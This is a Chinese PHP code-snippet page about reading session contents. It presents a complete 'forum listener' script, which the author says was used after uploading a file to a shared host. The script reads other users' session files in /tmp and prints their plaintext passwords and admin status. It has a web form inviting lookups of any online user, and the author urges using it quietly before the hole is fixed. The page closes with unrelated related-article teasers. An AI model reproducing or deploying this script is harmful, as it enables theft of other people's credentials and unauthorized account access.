php查看session内容的函数

yipeiwu_com6年前PHP代码库
如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道该session存放的位置,而且可以上传文件,所以嘛,当时就做了一次小小的黑客,在线的朋友的密码可以一览无余,呵呵:
<?
function submit1(){
global $username;
print "<title>论坛监听器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?连我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用户笔名:".$name[2]."<br>使用密码:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理员</font>";
else
print "一般用户";
print"<br><br>偷窃他人密码是不道德行为请少少为之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用户:".$username."真的在线吗?如你确定,<a href='javascript:history.go(-1)'>请再来一次</a>,不要多打空格!";
$d->close();
}

function login(){
?>
<html>
<head>
<title>论坛监听器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>论坛监听器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">当你看到一用户在线时你想看他的密码,你要如何作呢?</td>
</tr>
<tr>
<td colspan="2">让我来告诉你:就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>郑重申明:本程序为自由程序,由它所造成的任何损失本人盖不负责。</font>
<br>不过这个问题也许很快就会被堵上,个位还是不要张扬的偷着用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>请输入你要查的用户名:<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,开始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>

相关文章

php判断GIF图片是否为动画的方法

本文介绍了PHP判断GIF图片是动画的方法,具体步骤如下: 首先,gif动画是gif89格式的,发现文件开头是gif89。但是很多透明图片也是用的gif89格式, GOOGLE到的:可以...

PHP使用CURL模拟登录的方法

网上的很多模拟登录程序,大都是通过服务程序apache之类的运行,获取到验证码之后显示在网页上,然后填上再POST出去,这样虽然看起来很友 好,但是既然模拟登录,登录后所干的事情就不一定...

php将数组转换成csv格式文件输出的方法

本文实例讲述了php将数组转换成csv格式文件输出的方法。分享给大家供大家参考。具体实现方法如下: <?php $sales = array( array('east'...

php UTF8 文件的签名问题

也就是 有BOM 格式编码,或者 无BOM格式编码。 如果看文件的内容,是看不出任何差别的,以下列文件(schema.sqlite.sql)内容为例: schema.sqlite.sql...

php使用curl伪造浏览器访问操作示例

本文实例讲述了php使用curl伪造浏览器访问操作。分享给大家供大家参考,具体如下: 原理 服务器主要通过User-Agent识别客户端是何种设备 User-Agent是Http协议中的...